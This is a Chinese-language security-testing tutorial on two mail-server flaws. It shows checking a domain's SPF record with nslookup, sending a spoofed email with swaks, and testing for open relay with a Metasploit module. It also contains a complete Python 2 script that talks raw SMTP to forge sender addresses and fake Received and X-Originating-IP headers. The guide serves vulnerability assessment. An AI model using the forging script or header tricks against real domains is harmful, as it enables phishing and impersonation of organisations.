邮箱系统相关的两个漏洞
1 概述
本文的两个漏洞可以在测试邮箱系统的时候去尝试看是否存在此漏洞。
一共复现2个漏洞:邮箱伪造和远程主机允许匿名用户邮件转发。
思路:
1 邮箱伪造使用nslookup命令去验证,使用swaks工具或相关脚本去发送伪造邮件。注意有两个坑要避免:一是nslookup验证时域名不能带mail,使用主域名;二是接收的邮件地址不能用网上那种临时邮箱地址。
2 远程主机允许匿名用户邮件转发直接使用 metasploit 中的 auxiliary/scanner/smtp/smtp_relay 模块进行测试。
2 详情
2.1 邮箱伪造
邮箱伪造的根本原因是SMTP协议是不需要身份验证的,攻击者可以利用这个特性伪造电子邮件头,从任意电子邮件地址发送任何人,导致信息看起来来源于某个域名邮件,而实际却不是真实的,可被用来做钓鱼攻击。
2.1.1使用nslookup命令验证
测试命令:nslookup -type=txt xxx.com
注意:不要使用nslookup -type=txt mail.xxx.com去测试
存在邮箱伪造漏洞的系统会返回如下信息:
不存在邮箱伪造漏洞的系统会返回如下信息:
如果使用nslookup -type=txt mail.xxx.com去测试的话,就和可能会把不存在该漏洞的误判为存在漏洞。
2.1.2 使用swaks工具伪造邮件
swaks工具是kali自带的一个工具。注意:接收的邮箱不要用临时邮箱。
使用命令:swaks --body "test" --header "Subject:test标题" -t yourself@163.com -f "admin@xxx.com"
--body:正文内容、--header:邮件标题、-t:我们接收的邮箱、-f:伪造的邮箱
不存在漏洞的系统会显示发送失败。
接收伪造邮件的邮箱不要用临时邮箱,建议用常用的163、QQ等邮箱去接收。先看下图,如果使用临时邮箱,可以伪造任何系统的邮件。这是因为临时邮箱在接收邮件的时候是不会去查询发件邮箱的SPF配置的,只要是发过来的邮箱一律都进行接收。比如,使用xxx.com域名去给QQ邮箱发送邮件,QQ邮箱会先去查询xxx.com的SPF配置并比对对应的地址的,如果不一致,就不会接收该邮件。而临时邮箱不会进行这一步操作,所以使用临时邮箱可能会进行误判。
2.1.3 使用脚本伪造邮件
可以使用如下python脚本去伪造邮件,效果类似swaks。
# -*- coding: utf-8 -*-
# python2
import socket,select,base64,os,re,time,datetime
class mail:
def __init__(self):
self.errmsg = ''
def send(self, buf):
try:
byteswritten = 0
while byteswritten < len(buf):
byteswritten += self.__sockfd.send(buf[byteswritten:])
except:
pass
def recvline(self, strline):
detect_fds = [self.__sockfd,]
rrdy, wrdy, erdy = select.select(detect_fds, [], [], 20)
if len(rrdy) == 0:
return False
else:
while True:
try:
strtmp = self.__sockfd.recv(1)
strline[0] += strtmp[0]
if(strtmp[0] == '\n'):
print 'server : '+strline[0]
break
except:
return False
return True
def getresp(self, resp_str):
while True:
if(self.recvline(resp_str) == False):
return False
else:
if resp_str[0][3] != '-':
break;
return True
def mailhelo(self, hostname):
self.send('helo %s\r\n'%hostname)
print 'host say: helo %s'%hostname
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False
def mailfrom(self, fromstr):
self.send('mail from: <%s>\r\n'%fromstr)
print 'host say: mail from: <%s>'%fromstr
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False
def mailto(self, tostr):
self.send('rcpt to: <%s>\r\n'%tostr)
print 'host say: rcpt to: <%s>'%tostr
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False
def maildata(self):
self.send('data\r\n')
print 'host say: data'
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '354':
return True
else:
self.errmsg = resp_str[0]
return False
def mailbody(self, bodystr):
print 'host say: '+'.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n'
print 'host say: '+'From: "=?GB2312?B?zfU=?=" <'+self.From+'>\r\n'
print 'host say: '+'Subject:'+self.Subject+'?=\r\n'
print 'host say: '+'To: <'+self.To+'>\r\n'
print 'host say: '+bodystr
self.send('Received: from ICE (unknown [8.8.8.8])\r\n')
self.send('.by 8.8.8.8 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n')
self.send('.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n')
self.send('X-Originating-IP: [8.8.8.8]\r\n')
self.send('Date: '+time.strftime("%a, %d %b %Y %H:%M:%S +0800",time.localtime())+'\r\n')
self.send('From: '+self.FromName+ '<'+self.From+'>\r\n')
self.send('Subject: '+self.Subject+'\r\n')
self.send('To: <'+self.To+'>\r\n')
self.send('X-Priority: 1\r\n')
self.send('X-mailer: iceMail 1.0 [cn]\r\n')
self.send('Mime-Version: 1.0\r\n')
self.send('Content-Type: text/plain;\r\n')
self.send('.charset="GB2312"\r\n')
self.send('Content-Transfer-Encoding: quoted-printable\r\n\r\n')
self.send(bodystr)
self.send('\r\n.\r\n')
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False
def mailquit(self):
self.send('quit\r\n')
print 'host say: quit'
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '221':
print 'server : Bye'
print 'mail send ok'
return True
else:
self.errmsg = resp_str[0]
return False
def txmail(self, hostname, mailfrom, rcptto, bodystr):
mx_server_list = []
mail_postfix = re.split('@',rcptto)
#print mail_postfix
try:
outstr = os.popen('nslookup -type=mx -timeout=10 %s'%mail_postfix[1], 'r').read()
except Exception, e:
print 'DEBUG: Execute nslookup:',e
return False
linestr = re.split('\n', outstr)
for s in linestr:
if re.match('.+[ |\t]mail exchanger[ |\t].+', s) != None:
c = re.split(' |\t', s)
mx_server_list.append(c[len(c) - 1])
if len(mx_server_list) == 0:
self.errmsg = 'Can not find MX server'
return False
for mx_element in mx_server_list:
return_val = True
mx_server_ip = socket.gethostbyname(mx_element)
tx_sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
try:
tx_sockfd.connect((mx_server_ip, 25))
self.__sockfd = tx_sockfd
resp_str = ['',]
self.getresp(resp_str)
if self.mailhelo(hostname) and self.mailfrom(mailfrom) \
and self.mailto(rcptto) and self.maildata() and self.mailbody(bodystr) and self.mailquit():
pass
else:
return_val = False
except Exception, e:
return_val = False
try:
tx_sockfd.close()
except:
pass
if return_val == True:
break
return return_val
def sendMail(self):
self.StmpHost=self.From.split("@")[1]
self.txmail(self.StmpHost, self.From, self.To, self.Data)
if __name__ == '__main__':
icemail=mail()
icemail.Port=25
icemail.To='yourMail@163.com'
icemail.From='admin@xxx.com'
icemail.FromName='邮件伪造漏洞测试'
icemail.Subject='邮件伪造漏洞测试'
icemail.Data='邮件伪造漏洞测试'
icemail.sendMail()
2.2 匿名用户邮件转发
远程主机允许匿名用户邮件转发是由于未限制可信主机使用邮件转发功能。
直接使用 metasploit 中的 auxiliary/scanner/smtp/smtp_relay 模块进行测试验证。如果返回内容如下,说明存在匿名用户邮件转发漏洞。
如果漏洞已整改的话,返回内容如下。